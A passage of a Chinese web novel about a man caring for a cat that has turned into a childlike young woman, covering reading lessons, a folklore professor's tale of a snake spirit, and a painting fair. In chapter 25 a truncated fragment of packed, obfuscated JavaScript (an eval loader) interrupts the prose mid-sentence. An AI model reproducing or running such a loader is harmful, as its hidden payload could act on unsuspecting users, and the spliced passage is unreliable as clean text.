“恬恬……你怎么……”他喉结滚动,声音比淋浴时的水流更烫。 顾凝恬哗一下从床上坐起,然后一翻身从床沿跳了下来,赤脚踩在抛光瓷砖地面上,对着顾涵笑魇如花,伸手抱住他的胳膊,凑近他,在他的脖子间拱了拱鼻子。 “怎么了?”顾涵声音暗哑,女孩洗浴过后的芳香不停窜入他的鼻子,他轻轻按住她的肩膀将她拉开一些,她雀跃的眼神让顾涵感到隐隐的不对劲。 顾凝恬对着他眨了眨眼,然后对着他,双手拉开了浴袍衣襟。 女孩诱惑的肌体线条瞬间映入顾涵的眼帘,轻薄的蕾丝布料贴合着腰间曲线,白皙的肩胛骨在灯光的照耀下泛起珍珠似的光晕,纯情中又夹带着似有若无的妩媚,巨大的视觉冲击让顾涵整个人都愣在了原地,迟钝了两秒,他才反应过来发生了什么,下颌线瞬间紧绷。 他抓着女孩两边的领口掩回来,语气是从未有过的严厉:“你在干什么?谁教你的?” 顾凝恬被突如其来的力道拽到,后背靠在了一旁的衣柜门,顾涵的声音低沉而压抑,像是从喉咙深处挤出来的。他的手指紧紧攥着她的领口,指节因用力而泛白,眼神中混杂着震惊、愤怒和一丝难以察觉的慌乱。 顾凝恬从未见过他生气的样子,被他突如其来的严厉吓到了,蓝色眼眸蒙上了一层水雾,拼命咽着哽咽的气息,不让自己哭出来,口齿不清地说:“穿上会开心……我想你开心。” 顾涵的眉头皱得更紧了,面色深沉,他深吸了一口气,努力压下心头翻涌的情绪,语气稍微缓和了一些:“谁教你穿成这样的?” 顾凝恬低下头,手指无意识地绞着裙摆,声音轻得几乎听不见:“是、是姐姐,这样开心……” 顾涵的心猛地一沉,像是被什么狠狠攥住。肯定是服装店的人教的,只有她们有机会避开他,单独给顾凝恬挑选情趣内衣,并教导她怎么做。 他松开她的领口,手指轻轻抚过她的脸颊,口吻转换成了心疼:“恬恬,你不懂这些,穿成这样……不适合你。” 顾凝恬抬起头,豆大的晶莹泪水顺着她的眼眶往下滑落,眼神里尽是困惑和委屈,像是犯错的小猫咪,手足无措地等待他的发落。 意识到自己刚才的愤怒吓到了她,顾涵将顾凝恬搂在怀里,大手轻轻拍着她的后背给她顺气,声音放得很轻:“乖,别哭别哭,刚才是我语气太冲,你能原谅我吗?” 他知道,猫猫并不懂这些行为的含义,她只是单纯地想要取悦他。他轻轻叹了口气,揉了揉她的头发:“我喜欢的是你,跟你穿什么衣服没关系,你不需要做这些,明白吗?” 顾凝恬哭的上气不接下气,又委屈又羞愤,顾涵抱着她坐下床,低头看她,用纸巾给她擦眼泪:“宝贝,我没有怪你,这不是你的错,只是人类世界很复杂,我一时半会不知道怎么给你解释,以后你就会慢慢明白的了,来,不哭不哭,等会把眼睛哭肿了就不漂亮了。” 顾涵的声音温柔而低沉,像是哄小孩一样轻轻拍着她的背。顾凝恬的哭声渐渐变小,但眼泪还是止不住地往下掉,像是断了线的珍珠,整个人缩在顾涵怀里,像是受了天大的委屈,抽抽搭搭地说着些什么,鼻音很重,顾涵没听清。 他伸出手臂穿过她的膝盖,将她整个人打横抱了起来,送回她的房间,把她放在床上,又给她盖好被子,坐在她的身边:“很晚了,你该睡觉了,我陪着你好不好?不要哭。” 顾凝恬迷离着眼,哭太久她的眼睛累了,眨巴两下睫毛后,便昏昏然地闭上了眼睛。柔和的晚风吹拂着窗帘,月色倒影在地板,映出床上一大一小两个身影。 看着女孩脸上的泪痕,顾涵取来一条热毛巾,细致地给她擦了擦,不知是不是这举动惊扰到了睡梦中的她,女孩拱拱鼻子,双手无意识地抬起来摸了摸脸,接着又沉寂下去,陷入了深沉睡眠。 小猫咪变成了人之后,心态也是一只小猫咪,他要怎么才能让她明白,人类的世界远比她想象的复杂?如果今时今日,陪在她身边的人不是他而是另一个男人,当她做出这样的事,会发生什么?她接受的了吗?她可能一点都不懂男女有别,也不没有这样的意识。 顾涵默然不语,鸦青色的睫毛垂下,遮住了他凌冽不明的眸光,伸手给女孩掩好被角,坐在她的床边,听着她均匀的呼吸声,手指轻轻拨开她额前的碎发。 有什么方法可以快速让猫猫认识并了解人类世界? 如果把她比作是初生的孩子,那么小朋友认识世界的第一步是学会说话,认字识字…… 不知何时,天边渐渐泛起一抹鱼肚白,像是画家用最淡的颜料轻轻勾勒出的轮廓。星星的光芒逐渐黯淡,月亮也悄然隐退,天空从深蓝慢慢过渡到灰白,白雾被破晓冲开,淡淡的橙红像是被点燃的火苗,逐渐在天空蔓延开来。 一大早,闹钟还没响顾涵就醒了,因心中记挂着顾凝恬的状态,没等换衣服他就来到了她的房间,见她还在呼呼大睡,顾涵又悄然退出房间,到浴室洗漱,换好衣服,过了大半个小时才重新回来。 顾涵弯腰捏住顾凝恬的鼻子,轻声说:“恬恬,起床了。” “唔……”顾凝恬不满地嘟着嘴巴翻身,双手无意识地卷住被子,像是要把自己裹得更紧一些。 顾涵看着她那副赖床的模样,忍不住笑了笑,猫猫也学会像人一样赖床了。 “再不起床,早餐就凉了。” 顾凝恬的耳朵动了动,像是听到了关键词,眼睛微微睁开一条缝,宝蓝色的眸子里还带着朦胧的睡意。她懒洋洋地伸了个懒腰,慢悠悠地半坐起身,像是终于从梦中苏醒。 她眨了眨眼,像是终于看清站在自己面前的人是谁,然后张开双手环住顾涵的腰,黏黏糊糊地蹭他,像是把昨晚的事都忘了。 “乖,你该起床了,今天有很重要的事情带你去做。”顾涵拍拍她的发顶,拉着她的手臂让她站起来,推着她的肩膀来到衣柜门前,打开,给她挑了一条裙子。 “洗漱一下,然后换好衣服,我在餐厅等你。” 顾凝恬迷离着一眼,一副神游的模样,顾涵带着她进浴室,给她挤好牙膏放好水,看到她能独立洗漱之后才从浴室离开。 顾涵下到一楼,茶几上搁着的手机刚好响起,来电的是家政公司, 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面对着厚厚的绘本和色彩鲜艳的儿童读物,顾凝恬有些怔愣,糊涂着抬起手,摸摸自己的额头,歪着脸看向顾涵。 在休息区坐下,顾涵翻开绘本,对顾凝恬说:“今天开始,我教你认字。” 认字?顾凝恬更是摸不着头脑了,认字有什么用吗?猫猫不是只要懂说话就好了吗? 她的脸上写着“为什么”三个大字,顾涵正襟危坐,用郑重的语气说:“认字能有利于你融入人类生活,更能明白人类的规则,毕竟日常生活中,是有很多地方需要你认字的,所以你必须要学会。” 顾凝恬虽然不太明白“认字”是什么意思,但她相信顾涵说的话,也相信他不会让她受到伤害,所以她乖乖地坐在椅子上,摆出认真的模样对着他点头。 “好。”顾涵指着绘本上的图画,耐心地解释:“这是‘猫’,这是‘人’,这是‘家’……” 顾凝恬仔细听着,跟随顾涵的手指在画面上移动。 猫? 她笑起来,也把自己的手指伸向示意图,眼神亮晶晶的,像是发现了什么不得了的宝藏。 顾涵温和一笑:“对,这是你,猫猫。” “来,我们再学一个字。”顾涵翻开下一页,指着上面的图画和文字:“这是‘家’,是我们住的地方,然后这个是……”把最基本的都教完,顾涵才带着顾凝恬离开,把绘本之类的学习资料放上车,打算回家之后检查她的学习成果 光是这样还不够,信息时代,资讯来源和时事新闻,都依赖于互联网,顾涵决定让顾凝恬逐步接触电子设备,学会使用电脑和手机,只有让她掌握这些工具,她才能更好地融入人类社会,用人类的视角去理解所发生的人事物。 来到商城,顾涵给她买了最新款的手机,办了卡,把紧急联系人设置成自己,又教她怎么打电话。 第一次接触这些的顾凝恬显得非常好奇,她来来回回捣鼓着这个会发光的物体,然后不停地给顾涵打电话,只为了可以从听筒听到他的声音。 好有趣好有趣,竟然这样就能听到主人的声音! “好了好了。”顾涵按住她第十八次要打电话的动作,把车子停在顺港大学的校门口,行人来来往往,大多都是青春洋溢的大学生,年纪看上去和顾凝恬相仿,如果顾凝恬是真真正正的人类女孩的话,也许现在的她也会是一个清纯活泼的女大学生。 是时候要去拜访一下叶蔓介绍的这位崔教授了。 既然对方精通民俗文化,又曾在终南山修道,应该会对这种奇幻之事有所了解,他需要知道猫猫变成人的原因,到底是在什么样的诱因下才会发生这种事,未来还会不会变回猫,变成人又能保持保持多久? 当然,这些问题他只能通过旁敲侧击地去问。 万一崔教授心术不正,得知他身边的女孩是由猫变来,会不会对她不利? 23. 喵 顾涵牵着顾凝恬的手,带着她从校门口进去。顺港大学作为国内的顶级学府,平日有非常多的游客来这里打卡,校内外来人络绎不绝,走在路上,顾涵能明显感受到大家纷纷侧目。 顾凝恬对这些目光感到不自在,往顾涵的身旁缩了缩,不明白为什么这些人都在看她。顾涵伸长胳膊搂住她的肩膀,把她往自己怀里带:“别紧张,是因为他们没见过这么好看的女孩子所以才盯着你看。” 喔——哇!顾凝恬微笑着拉起顾涵的手,主人说她是好看的女孩子。 两人继续在校园里走着,顾涵顺带给猫猫科普周围的建筑和风景:“这是图书馆,里面有很多书;这是教学楼,学生们在这里上课;这是操场,大家在这里运动……” 顾凝恬认真地听着,顾涵每说一句她就点一点头,抱着他的手臂,好奇地张望周边的一切,她敏锐的猫猫耳朵听到了每一个路过她身边的人所说的话。 “我的老天奶,这真是人?长太漂亮了吧!” “你说,她那头白发是染的还是带了头套?” “这是COS哪个角色啊,日漫还是国乙的,我怎么没见过?” “感觉她身上像是会很香的样子。” “她旁边那个是谁啊,哥哥吗?” “抱这么紧,看起来像是男朋友多一点。” 顾凝恬晃了晃头,被这些纷乱的话语弄迷茫了,她揉了揉耳朵根,沿着林荫道漫步,这里可以看到一片片修剪整齐的草坪,绿意盎然,像是柔软的绿色地毯,草坪上零星点缀着几棵紫花风铃木,一些学生在树底下摆摊,像是在搞社团活动。 “恬恬。”顾涵带着顾凝恬在对面的凉亭坐下,捏了捏她娇俏的鼻子:“我有正事要做,需要离开一会,你乖乖在这里等我好不好?” 顾凝恬缺乏生活常识,交给别人照顾顾涵不放心,所以他不管去哪都把她带着,一步都不敢离开。他拿出顾凝恬的手机,给她弄了个短视频软件:“无聊的话就看看这些,想我了就给我打电话,我会马上回来。” 顾凝恬看着他:“好。”又眯眯眼笑着,挑着眉,当着顾涵的面拨通他的号码,坐在椅子上晃腿:“好玩。” 顾涵无奈一笑,把顾凝恬的来电挂断后,顺势输入备注:猫猫公主。 “嗯,我走了,等我回来。”顾涵俯身在她的发顶落下一吻,仔细端详她几眼之后,才转身离开。 顾凝恬注视着那道高大身影消失在路的尽头后才回过神,有些许低落地垂着脑袋。 主人好像每天都有很多事要做…… 虽然不理解他在干什么,但她会听话不会给他惹麻烦的。她拿着手机在上面点点点,屏幕上是两个小人在说话,说着说着就抱成一团,开始亲嘴。 “啊!” 猫猫被这一幕恍然一吓,伸长胳膊把手机拿远了点,两秒过后,又忍不住睁开一条眼缝。 这、这、这……人类都是这样表达自己的喜欢的吗?直接就亲嘴了,她平时都只是亲主人的脖子,而且他还说,女孩子不可以随便亲人。 可这里面的人为什么就可以随便亲亲呢? 那她可以亲主人的嘴巴吗? 主人的嘴巴看起来红红的软软的,应该跟她的一样,她无意识地抬手在自己的嘴唇戳了戳,心里涌起一股莫名的冲动,脑海快速闪过顾涵清隽的脸庞,彷佛他尚未离开,气息依然停留在她的身旁。 啊! 顾凝恬双手抓住自己的两侧头发,低头无声呐喊,怎么办,她满脑子都是亲主人的画面,好想亲好想亲,主人的嘴巴她还没亲过呢! “美女,你好?你好?” 身侧突然传来陌生的声音,顾凝恬防备性十足地瞪圆眼睛,直愣愣地看着面前的人。是两个女孩子,脸上带着笑容,看上去没什么恶意。 顾凝恬稍稍放下了心,坐直了腰,咽了咽唾沫,绞尽脑汁地挤出两个字:“好、好……” “是这样的。”女孩子指了指不远处的小摊,说:“今天是顺港大学的艺术开放日,我们是岩彩画艺术团的成员,师承美术学院岩彩画研究所所长叶蔓叶老师,不知道你有兴趣来试试吗?” 画画?顾凝恬紧张地攥紧拳头,有些不知道该怎么和这两个女孩打交道,她还不懂说很多人话,又担心自己会说多错多,于是双肩内扣地靠在墙根坐着,像是想要把自己缩成一团,躲进角落里。 两个女孩看出了她的紧张,其中一个微笑着蹲下身,语气温和:“别害怕,我们只是想邀请你一起画画,很有趣的。” “对呀。”另一个女孩则补充说:“其实我们刚才在那边偷偷观察你很久了,你是和男朋友来的是吗?你长得太好看了,我们社团成员都想认识你,想问问你头发是在哪里染的,平时我们出COS根本染不好白毛。” 唔……顾凝恬乖巧眨眼,两女孩友善的态度让她放下了戒心,她看向刚才她们所说的摊位,上面摆放着许多颜料、画架和纸张,还有展示画。画面色彩浓郁而富有质感,从深邃的靛蓝到炽热的朱红,从沉稳的赭石到明亮的金黄,色彩层次丰富,仿佛将大自然的精华浓缩在了画布上。 “来嘛来嘛,我们一起玩,等会你男朋友回来了再叫他接你。”女孩主动牵起顾凝恬的手,热络地拉着她起身。 这是顾凝恬成人以来第一次接触除顾涵以外的其他人类,她惺忪着,鬼使神差地跟上了对方的步伐。 顾涵站在办公室门前,抬眼看了看上面的门牌,崔教授的助手跟他说教授出去了,请他稍微等一会。顾涵点点头,推开门走进了办公室。 办公室内布置得简洁而雅致,墙上挂着几幅学术奖状和合影照片,书架上摆满了厚厚的专业书籍和期刊。座位上方挂着一副山水气势磅礴的风景画,看画风,应该是出自他熟悉的叶蔓手笔。 顾涵走到书架前,随手抽出一本书翻了翻,里面的内容是志怪民俗,详细记录了西南地区的某个村庄,在几十年前遭遇变故的事。 那是一个月黑风高的晚上,村里几十人一夜之间身中剧毒,当场毒发身亡,所幸当夜有几个村民到邻村打麻将躲过了这一劫,事后这些人全都不约而同地说是蛇妖作祟,说自己亲眼看到一条黑蛇幻化成了人,潜入村庄,从自己的毒牙上将毒液投入井中。 顾涵的眉头微微皱起,手指无意识地摩挲着书页的边缘。书中的描述详细而生动,仿佛将那个恐怖的夜晚重现眼前。 他继续往下读,发现书中还记载了村民们为了驱邪,请来了一位道士。道士在村中设坛作法,最终将“蛇妖”封印在了一口古井中,并用巨石封住井口,立下石碑警示后人。 “黑蛇……幻化成人?”顾涵低声自语,心中涌过几缕慌张。顾凝恬也是猫猫变的,如果被那些道士知道的话,那她会不会被…… 就在这时,办公室的门被推开了,顾涵的思绪被打断,崔季同走了进来。他穿着一件深色的唐装,年纪看上去五十岁上下,头发有一半都是白的,手里拿着一本教材,脸上带着温和的笑容:“抱歉,让你久等了。” 顾涵转过身,礼貌颔首,向他致意:“崔教授,您好,我是顾涵。” 崔季同走上前,与他握了握手:“顾先生,久仰大名。请坐。” 两人在沙发上坐下,崔教授的助手端来两杯茶,轻轻放在茶几上。崔教授拿起茶杯,抿了一口:“顾先生,您在建筑设计行业声名远扬,没想到对民俗文化也感兴趣。” 顾涵微微一笑,语气谦逊:“崔教授过奖了。建筑设计与民俗文化其实有着密不可分的联系。叶蔓老师也经常以她的岩彩画为我的设计增添风采,我也是得益于她的引荐,才得以有机会向您请教。” 崔季同听到叶蔓的名字,眼中闪过一丝了然的笑意:“原来你和叶蔓是朋友。她的岩彩画确实独树一帜,尤其是她对传统民俗元素的运用,总是能让人眼前一亮。 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“这些传说往往反映了当地人对自然的敬畏和对未知力量的想象。” 顾涵故作好奇地问道:“那崔教授觉得,这些传说有没有可能是基于某种真实事件?比如,动物真的有可能化形成人吗?” 崔季同双手抱胸,意味不明地笑笑:“从科学的角度来说,动物化形当然是不可能的。但从民俗学的角度来看,这些传说往往有着深刻的文化背景。比如,蛇妖的传说可能源于古代对蛇的崇拜,而狐仙的传说则可能与早期的图腾信仰有关,只不过……民间传闻大多都缺乏实证。顾先生怎么对这个话题这么感兴趣?” 意识到崔季同的语气隐隐携带了几分试探,顾涵柔和一笑,温文尔雅的姿态令人不由自主对他放松下来:“实不相瞒,方才在等您的时候,我翻了翻书架上的那本《西南异事》,被上面记载的蛇妖杀人之事吸引住了,所以才想多了解一点。” “原来是这样。”崔季同从沙发起身,把《西南异事》从书架上取下来,眼神灰暗地看了眼封面:“其实我刚才跟你聊的那些,都是在我那些学生的想法上整理的,他们大多认为这些传说只是民间故事,没有什么实际依据。” 崔季同的语气平静,但眼神却有些飘忽,像是陷入了某种回忆。他轻轻摩挲着书的封面,指尖在“西南异事”四个字上停留了片刻,才缓缓收回手。 顾涵敏锐地捕捉到了他神情中的异样,心中一动,但面上不显:“崔教授,听您的语气,似乎对这些传说有不同的看法?” 崔季同沉默了一会儿,目光落在窗外,仿佛透过层层树影看到了什么遥远的景象。他的声音低沉,带着难以察觉的颤抖:“顾先生,有些事情……科学解释不了,但并不代表它不存在。” 顾涵的心跳微微加快,但他依旧保持着平静的语气:“崔教授的意思是,您也相信动物化形的传说?” 崔季同没有直接回答,而是转身走到书架旁,从最上层的角落里抽出一本破旧的笔记本。他轻轻拍了拍封面上的灰尘,语气带着复杂的情绪:“这是我年轻时在西南地区做田野调查时记录的笔记。里面有一些……无法用常理解释的事情。” 顾涵接过笔记本,翻开第一页,发现里面密密麻麻地写满了字,还有一些手绘的插图和照片。他的目光被其中一张照片吸引住了——照片上是一条黑色的蛇,它长长的蛇身盘踞在一块古老的石碑上,蛇眼泛着诡异的光芒,还吐着黑色信子,非常可怖。 崔季同的声音在耳边响起:“那是我在西南一个偏远村落拍到的。当时村里的人都信誓旦旦地说,这蛇能化成人形。我一开始不信,后来机缘巧合之下我去到了终南山修练,在那里,我才算弄明白了动物之所以能变成人的缘由。” 顾涵猛地抬眼,差点克制不住自己内心的激动,他强忍着内心的兴奋,让自己的声线平稳一点:“是为什么?” 24. 喵 崔季同坐下办公桌后面,苍老的声音像是蕴含了很多往事,他微微摇了摇头说:“我们看着蛇虫鼠蚁,总觉得这些不过是微不足道的小动物,却不知道动物们也有自己的想法,也有自己想得到想守护的东西。” “就比如《西南异事》上记载的黑蛇杀人,我通过多方走访,发掘,发现事情的真相并非如传说中那样简单。” 崔季同的声音低沉而缓慢,宛如每一个字都承载着沉重的回忆。 他翻开笔记本,指着其中一页泛黄的记录:“那个村庄原本是一个与世隔绝的地方,村民们世代以采药为生。村中有一口古井,井水清澈甘甜,据说是山神的恩赐。然而,几十年前,村里突然来了一群外来者,他们看中了村中的一种珍稀药材,想要强行收购。村民们不肯,双方发生了冲突。” 崔季同的指尖在纸上轻轻划过,继续说道:“那晚,外来者在井中投了毒,想要逼迫村民屈服。然而,他们没想到的是,村中确实有一条黑蛇,它常年栖息在古井附近,早已与村民和平共处。黑蛇察觉到井水被污染,试图阻止,但为时已晚。村民们饮用了毒水,纷纷倒下。” “黑蛇愤怒之下,袭击了那些外来者。它的毒液让那些人痛苦不堪,最终逃出了村庄。而村民们虽然中毒,但黑蛇用自己的毒液以毒攻毒,救活了其中一部分人。然而,这件事却被幸存的外来者扭曲成了‘蛇妖杀人’的传说。” 崔季同合上笔记本,目光深邃:“所以说,有些事情只是我们没见过,不代表没有。其实动物比我们想象的要聪明得多,它们也有情感,也有想要守护的东西。” 真相竟然如此复杂而感人,顾涵心中震撼不已。他低声问道:“崔教授,那后来那条黑蛇怎么样了?” 崔季同沉默了片刻:“正如书上所说,黑蛇被村民请来的道士,镇压在了古井。” 顾涵的瞳孔猛然收缩,眼神中充满了难以置信,他喉结滚动了一下:“这……” 崔季同伸出手,安抚性地在空中拍了拍,示意顾涵冷静,接着继续说:“都是往事了,不提也罢,毕竟说出去也没几个人信,而且顾先生,知道得太多也未必是好事。” 顾涵顿了顿,端起茶杯把里面的茶水喝完,温雅笑笑:“教授今天的分享让我受益匪浅,没想到世界上竟还有这样志怪之事,真是让我大开眼界。” 他放下茶杯,目光落在书架上那本《西南异事》,晦暗不明的眼神被遮掩在了乌黑的睫毛之下:“崔教授,不知道这本书能否借我回去仔细研读?我对这些传说很感兴趣,或许能为我的设计项目带来一些灵感。” “可以。”崔季同把《西南异事》递给顾涵,接着嘱咐道:“只不过,书里的内容多多少少可能会引人不安,阅读时还请多加小心。” 顾涵接过书,郑重地点了点头:“崔教授放心。” 叩叩—— 敲门声响起,顾涵抬头朝门口看去,是教授的助手,他略显歉意地看了眼顾涵后,对崔季同说:“教授,十分钟后您有个会。” “噢对对。”崔季同拍拍自己的前额,恍然地站起身来,顾涵也利落起身:“既然这样我就先走了,不打搅您。” “我送你出去。”崔季同向顾涵走去,引着他出门,顾涵带上书之后准备在门口与崔季同告别,余光看到助手往他这里看了眼,这时他才发现,助手的皮肤比平常人的肤色要黑好几个度,眼珠子也如同黑曜石一般黑的发沉。 似乎意识到自己偷看被发现,助手讪讪地揉了揉鼻子,转身离开。顾涵收回眼神,崔季同呵呵一笑:“他叫阿涂,皮肤黑黑的,经常有人以为他是从非洲来的。” 顾涵默然不语,唇角轻轻勾起弧度:“那我就先走了,谢谢教授。” 崔季同:“不必客气。” 从办公室离开,顾涵的步伐心事重重,眉目冷沉,眼底闪过难以察觉的忧虑,拇指无意识地拂过《西南异事》的封面,字体纹路在他的指尖留下细微的触感。 他好像明白为什么开渔节那天,那个道士要专门停下来耍青铜剑,是因为他察觉到了有关于猫猫的不正常气息,也就是在那天晚上,猫猫才突然幻化成人。 “顾涵?顾涵?顾……” 一道熟悉的声音突然从身后响起,打断了顾涵的思绪,他回过头,叶蔓正有些好奇地看着他:“怎么走路也在发呆?” 顾涵收敛刚才的表情,温润而泽:“叶老师。你也来这边上课?” “对,新学年我在顺港大学的岩彩画研究所教学。”叶蔓笑笑,看了眼顾涵手里拿着的书:“来找崔教授?” “是,刚聊完,现在准备离开。”顾涵与叶蔓并肩走着,突然想起来,他和崔季同聊了这么久,猫猫竟然一个电话都没有给他打! 说不清是失落还是什么情绪,总之顾涵的面色立马沉了下来,叶蔓瞧着他莫名其妙的变化,有些摸不着头脑:“你今天怎么怪怪的 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画架上,一幅色彩斑斓的岩彩画正在逐渐成型,是一只银白色的猫跪在庙宇的蒲团上,弓着腰,像是在对神明虔诚地许愿。细腻的笔触仿佛将猫的灵魂都融入了画中,惟妙惟肖是真的一样。 “牛逼啊。”人群中响起一声大大的惊呼。 “她是我们大学的吗?我怎么没见过?” “我也没见过,我要是见过这么好看的女孩子,能记一辈子。” “见到天赋型选手了。这技术,我画好几年了都没她画的这么好。” 顾凝恬沉浸在自己的世界中,拿着画盘调色,丝毫没注意到顾涵回来了,叶蔓上前一步,啧啧称奇:“这小姑娘太厉害了,虽然有些地方稍显稚嫩,但瑕不遮瑜啊!” 顾凝恬的鼻尖突然动了动,耳朵倏地转向身后——她闻到了顾涵身上特有的雪松香。 果不其然,沉稳高大的男人就站在她的身后,用赞赏的目光看着她,顾凝恬眼睛一亮,立马放下了画笔,拉着顾涵的胳膊将他带过来,指了指自己画的画,然后仰起脸,鼻尖蹭到顾涵的衬衫领口,蹭上一抹群青色。 叶蔓的眉梢高高扬起,目光在两人紧贴的身影间逡巡:“阿涵,这是你女朋友?”她戏谑的话里藏着试探:“这么可爱的女朋友,怎么从没听你提起过?” 上回问他,他还说感情的事看缘分,才刚过去几天,这么快就找到女朋友了? 25. 喵 顾涵把手放在顾凝恬的头上,五指揉了揉她的发顶,他抬眼迎上叶蔓的目光,喉结滚动间笑意温和如常:“嗯,恬恬,这位是跟我合作多年的叶蔓老师。” 说着,他微微弯腰在顾凝恬的耳边安抚她:“乖,叫声老师好。” 顾凝恬紧张地咽咽嗓子,感知到顾涵的指尖下移到了她的后颈处,轻一下重一下,宛如一种无声安慰。她坐直腰,对着叶蔓颔首:“老、老师好。” 叶蔓笑着看她,眼睛里都是惊艳:“你可真特别,头发居然是白色的,天生的吗?” 顾凝恬下意识看向顾涵,顾涵将她轻轻搂过,声音平稳:“对,天生的,确实比较特别。” 叶蔓了然点头:“那还真是少见啊,我还以为是染的,对了,你女朋友在顺港大学读书吗?” 顾涵拉着顾凝恬起身,擦了擦她脖子上沾着的颜料。小猫才刚离开这么会儿,就把自己的弄得像涂鸦猫,身上手上都是颜料。 “没有,她不是这里的学生。”顾涵对着叶蔓歉意一笑:“我先带她去洗洗,改天再向您请教岩彩画的技巧。” “哎,等等。”叶蔓叫住他们,指了指顾凝恬刚刚画的那幅画,“这幅画能留给我吗?我觉得很有潜力,想给我的学生们看看。” 顾涵低头看了看顾凝恬,猫猫睁大双眼,有些慢半拍地点点头,她双手捧着画框的两边抱起来,然后递给叶蔓:“给、给你。” “多谢。”叶蔓把画接过,多看了眼顾凝恬。小姑娘看着伶俐喜人,怎么说话好像有点……口齿不清,像是个结巴? 顾涵向叶蔓道别,带着顾凝恬离开了摊位。走出人群后顾凝恬还频频回头,顾涵察觉到她的小动作,发现她流露出依依不舍的表情。 “怎么了,喜欢画画?” 顾凝恬侧歪着脑袋,收回眼神,她不太理解画画是个什么概念,但她喜欢做刚才的事,她一看到那些色彩,就想到自己当时在神庙许愿变成人的情景,所以把它画了下来。 她对着顾涵比划画画的动作,然后轻轻跳起来抱住顾涵的脖子,嘟着嘴巴,蓝色眼眸眨巴眨巴,像只可怜兮兮的小猫咪。 顾涵被顾凝恬突如其来的拥抱弄得一愣,随即轻笑出声,手掌稳稳托住她的腰,免得她摔下去。他抱着她原地转了个圈才把她放下来,低头亲吻她的发梢:“你脏兮兮的,得回家洗澡,回家再继续画。” 顾凝恬摊开自己的双手。 指腹和指甲间都是五颜六色的颜料,她恶作剧一般用染了色的食指去蹭顾涵的鼻子,却被顾涵握住手腕,反手摁在了自己的鼻尖。 红鼻头配上猫猫吃瘪的表情,顾涵笑出了声:“小花猫。” 回到家后,顾涵带着顾凝恬进了浴室。细心地帮她调好水温,又给她挑了换洗衣服,再下楼时,门铃响了。 顾涵走过去把门打开,一个身材高挑留着短发的女人对他打招呼:“您好,我是营养师桃桃。” “请进。”两人落座沙发,顾涵倒了杯水递给桃桃,简单和她说了下顾凝恬的情况。 桃桃仔细听着,对顾涵提出的要求一一点头:“好,我大概了解您的意思了,那先这样,我这就去准备今晚的饭食,口味上磨合磨合,再根据顾小姐的喜好进行调整,怎么样?” “可以。” 桃桃进到厨房忙活,顾涵看了眼表上的时间,还早,他打了通电话给已经结束项目回A市的钟博明,让他帮忙准备画画用的材料,明天带过来。 暮色自天际线悄然漫溢,琥珀色的光晕逐渐褪去锋芒,黑夜缓慢地笼罩下来,别墅的暖黄灯光从玻璃透出,洒在顾涵的侧脸,温暖的颜色让他比平时看上去更要矜贵,当他结束电话返回客厅时,听见顾凝恬的声音从厨房传来。 他站在门外看了眼,顾凝恬正撒娇拉着桃桃的手,眼睛盯着奶锅里的糖水,想让桃桃提前给她吃一点。 真是个小馋猫。 顾涵微笑着摇头,没有上前打搅,他返回房中洗澡,脑海里都是顾凝恬活泼的身影,说起来,他有些意外顾凝恬这么快就和新来的桃桃闹到一起去,他原本以为她会有个适应时间。 这么看来,其实顾凝恬的适应能力比他想象中要好得多,她能很好处理人和人之间的关系,而且她需要这样的社交,和女孩子们一起玩,应该会更有利于她融入现实生活。 洗完澡,顾涵换上干净的灰色家居服走出房间,若有若无的饭菜香味在空气中漂浮,顾涵站在楼梯口往下看,顾凝恬正滋滋有味地吃着炖品,桃桃拿着盘子给她布菜。 “顾先生,晚饭好了。”桃桃用围裙擦了擦手,看着走过来的顾涵说:“我按照营养计划做了几道菜,您尝尝看。” 顾涵点点头,拉开椅子坐下。桌上摆着几道色香味俱全的菜肴,还有杂粮饭,一旁的顾凝恬则是捧着一碗炖鸡汤,小口小口地喝着:“好喝吗?” “嗯嗯。”顾凝恬笑着应答,放下自己手里的碗,拿起盛好的汤递给顾涵:“你、你喝。” 鸡汤清亮,顾涵扫了眼后轻轻揉了揉顾凝恬的头发,语气温柔:“喜欢就多喝点,这位桃桃姐姐是你的营养师,想吃什么以后可以直接告诉她。” 顾凝恬兴奋地拍了拍手,对着桃桃说:“好好。” 吃过饭,桃桃又给顾凝恬专门炖了木瓜雪蛤。顾涵牵着顾凝恬的手在花园里散步消食了半小时,才带着她到书房,继续教她识字。 不过今晚比较特殊。 顾涵没有让顾凝恬学习绘本上简单易懂的短句,而是让她握着笔,他再握着她的手,一笔一划写下他的名字。 顾涵。 他把顾凝恬抱在身前,下巴抵在她的肩窝处,呼出的热气擦过女孩细腻的侧脸,醇厚的嗓音缓缓响起:“宝贝,这是我的名字,我叫顾涵。” 顾凝恬看着自己写下的两个黑色字体,不由自主地跟着顾涵念了一遍:“顾涵?” “嗯,你以后可以这么叫我。”顾涵捏了捏顾凝恬的耳垂,语气温和又郑重:“你要记住,知道吗?” 顾凝恬沉吟片刻,又握着笔,在纸张的空白处重新写下“顾涵”两个字,虽然笔迹有些歪歪扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他坐下老板椅,掀开了借来的那本《西南异事》。 除了黑蛇杀人一事之外,书中还记录了其他类似的志怪事件,比如天鹅跳湖,说是一个天鹅化形之后与一个人类男人相爱,后来男人移情别恋想甩开她,竟找道士将天鹅女沉入湖底,封印起来。 还有狐狸生子,据说二十多年前,有一狐女游戏人间,怀孕后独自生子,没想到被过往的修行者所发现,母子俩一同被镇压在了伏妖葫芦里。 顾凝恬心不在焉地在纸上乱涂乱画,脑子里不停地回忆起今天看到的两个小人亲嘴,她……她也好想像他们那样,亲亲主人的嘴巴。 想到这里,她偷偷往顾涵的方向看了眼,不知道他怎么了,眉头紧皱,脸色也不似以往那样温柔,反而非常阴沉,看着有点吓人。 主人这是怎么了? 顾凝恬不明所以地挠挠后脑,本来想过去逗逗他的心思瞬间被扑灭来了。 他说过,女孩子是不可以随便亲人的,上次他就这么说过她了,可是,她真的真的真的好想亲亲他,好想知道他的嘴唇是什么味道的,她忍不住了,真的好想亲啊——顾凝恬来来回回数次偷看顾涵,顾涵无奈侧过头看她:“怎么了?” 他以为是猫猫无聊而已,根本没想到她的小脑袋瓜想的是要怎么亲他。 被抓包了!顾凝恬双腮一红,赶紧摇头,缩缩肩膀埋头继续画画。 其实顾涵刚才跟她说的什么她一句都没有听清,只想亲。 26. 喵 